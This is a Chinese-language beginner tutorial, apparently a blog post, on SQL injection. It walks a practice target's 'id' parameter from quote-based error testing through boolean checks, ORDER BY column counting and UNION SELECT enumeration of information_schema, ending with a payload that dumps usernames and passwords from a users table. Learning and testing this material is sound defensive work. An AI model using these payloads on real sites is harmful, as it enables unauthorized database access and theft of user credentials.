从零开始学渗透----SQL 注入(一)

本文只提供思路参考学习
注入漏洞
注入漏洞作为OWASP Top 10之一,它是一个十分普遍的漏洞,攻击者注入恶意代码后,能引起很严重的后果,而SQL注入又是其中的大头,作为初识安全的小白,这是一个很好的学习方向。
SQL注入
顾名思义 是由于开发人员编写的SQL语句不健壮,从而使得你能在Web端构建自己的特殊SQL语句导致能从前端访问到后端的数据库,从而获得数据库的一系列信息的攻击行为。
SQL注入类型
总体分为字符型和数字型

$query="select username,email from member where id=$id"; // 数字型 未在id处添加特殊符号

$query="select username,email from member where id='$id'"; //字符串型,在id处加以单引号闭合

SQL注入总体思路
  1. 根据网址抓包等确定是否有查询参数
  2. 找注入点并判断是否能进行注入
  3. 进行数据爆破
实战复现
1.进入网址,发现它的url是以查询信息结尾的,id 就是查询参数。由此判断可以构造SQL语句 从零开始学渗透----SQL 注入(一)
文章图片

2.查找注入点并判断是否能进行注入 常用方法先是添加单引号造成SQL语句出错
/index1.php?id=1' //等价于select username from member where id = '1'' 字符串型(还可能是其他特殊符号)select username from memeber where id = 1' 数字型

从零开始学渗透----SQL 注入(一)
文章图片

观察报错,应为字符串型SQL注入
然后 构建特殊语句 ?id=1' and' 1 '=' 1 (注意标签的闭合) 此处是恒为真的表达式,所以预计页面正确显示。
从零开始学渗透----SQL 注入(一)
文章图片

然后构建特殊语句?id=1' and' 1 '=' 2 此处是恒为假的表达式,预计页面不会正确显示,但是不会报错。
从零开始学渗透----SQL 注入(一)
文章图片

两个恒等式 的差异表现说明了此处是可以进行sql注入的
3.进行数据爆破 在得知SQL注入漏洞存在后,我们即可进行系列操作。
首先是通过order by 猜测表中字段数。构建语句
' order by 5--+ // --+是注释,能忽略后面的特殊字符闭合,用二分法猜数字

从零开始学渗透----SQL 注入(一)
文章图片

说明字段超了,往回猜,先3后4,2 就能确定只有3个字段了
接下来就是利用 union 语句来操作了
输入?id=1' and 1 = 2 union select 1,2,3--+
从零开始学渗透----SQL 注入(一)
文章图片

前面编写 and 1 = 2 是因为联合选择 将前面的语句返回一个false 就不会在页面显示,所以会显示后面我们想要找的东西,也可以写成 id = -1' union select 1,2,3--+
说明2,3 都可以替换成我们想要查找的东西
接下来就是一系列的常规操作了
先查询数据库以及数据库版本
?id=1' and 1 = 2 union select 1,version(),database()--+

从零开始学渗透----SQL 注入(一)
文章图片

在确定版本为5.5.53 确定有information_scheme信息库接下来就用它以及group_concat函数进行操作
查询表头
?id=1' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

从零开始学渗透----SQL 注入(一)
文章图片

【从零开始学渗透----SQL 注入(一)】很明显users就是一个好东西,我们获取它的列名
?id=1' and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

从零开始学渗透----SQL 注入(一)
文章图片

最后你就可以获取对应的用户名和密码啦
?id=1' and 1 = 2 union select 1,2,group_concat(id, '%7C',username,'%7C',password) from users--+

从零开始学渗透----SQL 注入(一)
文章图片
从左到右分别分别是id username password
到此基本想要的信息都拿到啦。
分享到此结束,感谢观看!
参考资料
https://blog.csdn.net/qq_4126...
https://segmentfault.com/a/11...
《腾讯Web安全课堂》

    推荐阅读